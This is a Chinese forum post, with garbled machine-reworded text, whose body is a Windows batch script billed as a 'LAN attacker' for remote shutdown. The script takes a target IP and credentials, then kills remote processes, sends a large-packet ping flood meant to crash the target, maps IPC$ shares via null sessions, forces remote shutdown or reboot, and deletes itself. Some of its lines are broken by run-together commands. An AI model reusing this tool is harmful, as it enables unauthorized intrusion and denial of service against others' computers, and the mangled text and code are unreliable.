如何实现电脑远程关机?

2年前 (2022-10-12)阅读3回复1
wsygfsj
wsygfsj
  • 管理员
  • 注册排名5
  • 经验值483190
  • 级别管理员
  • 主题96638
  • 回复0
楼主

  @ echo offtitle hackerxfight

echo 局域网攻击!

color cf

title 攻击法式

:mode con: cols=70 lines=20

echo msgbox"局域网攻击法式!"  vbsmsg。vbsdel msg。vbs

cls

echo。

echo。

echo ----------------------------------------------------------------------

echo 本软件只用于小我研究公用

echo 如呈现任何法令问题

echo 本做者概不负责

echo ----------------------------------------------------------------------

echo。

echo。

:ip

echo 请输入要攻击的IP(XXX。XXX。XXX。XXX)

set /p ip=ip:

set "ip=%ip:"=%"

echo 请输入要攻击的计算机用户名

set /p user=用户名:

set "user=%user:"=%"

echo 请输入要攻击的计算机的密码(如无密码间接按回车):

set /p pass=密码:

set "pass=%pass:"=%"

echo 正在毗连长途电脑,请稍

候。

ping %ip%if %errorlevel% == 1 echo 长途计算机毗连失败,原因可能为长途计算机未开启或网

络超时!pausegoto ip

goto start

:start

cls

echo。

echo。

echo ----------------------------------------------------------------------

echo 本软件只用于小我研究公用

echo 如呈现任何法令问题

echo 本做者概不负责

echo ----------------------------------------------------------------------

echo。

echo。

echo 1、查看长途历程

echo 2、攻击长途IP

echo 3、映射长途磁盘

echo 4、封闭长途电脑

echo 5、更改攻击ip

echo 6、退出法式

set /p start= 请输入要操做的代码:

set "start=%start:"=%"

if "%start%"=="1" goto tasklist

if "%start%"=="2" goto ping

if "%start%"=="3" goto ipc

if "%start%"=="4" goto off

if "%start%"=="5" goto ip

if "%start%"=="6" goto end

if not errorlevel == 1 goto err

if not errorlevel == 2 goto err

if not errorlevel == 3 goto err

if not errorlevel == 4 goto err

if not errorlevel == 5 goto err

if not errorlevel == 6 goto err

:tasklist

cls

tasklist /s %ip% /u %user% /p %pass%

echo 能否完毕长途历程?完毕请按1,返回请按0。

set /p taskkill=请输入:

if "%taskkill%"=="0" goto start

if "%taskkill%"=="1" goto kill

if not errorlevel == 0 goto err

if not errorlevel == 1 goto err

:kill

set /p im=请输入要完毕的历程(如QQ。

  EXE):

set "im=%im:"=%"

taskkill /s %ip% /u %user% /p %pass% /im %im% /t

goto tasklist

:ping

cls

echo 攻击长途IP曲到他死机。

  按肆意键起头。要末行请按Ctrl C退出法式!

pauseping %ip% -t -l 65500

:ipc

cls

echo 映射长途磁盘到当地!(请确认长途计算机开启IPC$共享)

net use \%ip%ipc$ "" /user:""set /p ipc=请输入要映射的收集磁盘:

set "ipc=%ipc:"=%"

set /p lan=请输入映射的磁盘盘符号(不要输入已存在的当地磁盘如C盘):

net use %lan%: \%ip%%ipc%$ "%pass%" /user:"%user%"

pausegoto start

:off

cls

echo 强行封闭长途计算机!

echo 1、立即关机

echo 2、按时关机

echo 3、返回

set /p off=请输入:

if "%off%"=="1" goto shutdown

if "%off%"=="2" goto at

if "%off%"=="3" goto start

if not errorlevel == 1 goto err

if not errorlevel == 2 goto err

if not errorlevel == 3 goto err

:shutdown

cls

echo 封闭计算机输入s,重启计算机输入r。

set /p and=请输入:

set "and=%and:"=%"

echo 请设置关机倒记时(单元/秒)

set /p t=请输入倒记时:

set "t=%t:"=%"

echo 请设置关机正文(不克不及超越120字节)

set /p c=请输入正文:

set "c=%c:"=%"

net use \%ip%ipc$ "%pass%" /user:"%user%"

shutdown -m \%ip% -f -%and% -t %t% -c "%c%"

echo 肆意键返回!

pausegoto start

:at

cls

echo 按时封闭长途计算机!

echo 封闭计算机输入s,重启计算机输入r。

set /p sr=请输入:

set "sr=%sr:"=%"

echo 请设置长途关机时间,如今时间为 %time% 。

net time %ip%

set /p offtime=请输入(如20:00):

set "offtime=%offtime:"=%"

echo 请设置关机倒记时(单元/秒)

set /p att=请输入倒记时:

set "att=%att:"=%"

echo 请设置关机正文(不克不及超越120字节)

set /p atc=请输入正文:

set "atc=%atc:"=%"

net use \%ip%ipc$ "%pass%" /user:"%user%"

at \%ip% %offtime% shutdown -f -%sr% -t %att% -c "%atc"

if %errorlevel% == 1 echo 请确认收集能否一般! pausegoto at

echo 肆意键返回!

pausegoto start

:err

echo 您输入的格局不准确,肆意键返回,从头输入。

   pause:end

exit

attrib -h -s -r -a %0

del %0

把那些代码保留为bat格局,那是个局域网攻击器。

0
回帖

如何实现电脑远程关机? 相关回复(1)

夜色
夜色
沙发
**用TeamViewer实现电脑远程关机,既简单又实用! 高效方便操作方法哦~ 。】
2个月前 (06-07 04:16)回复00
取消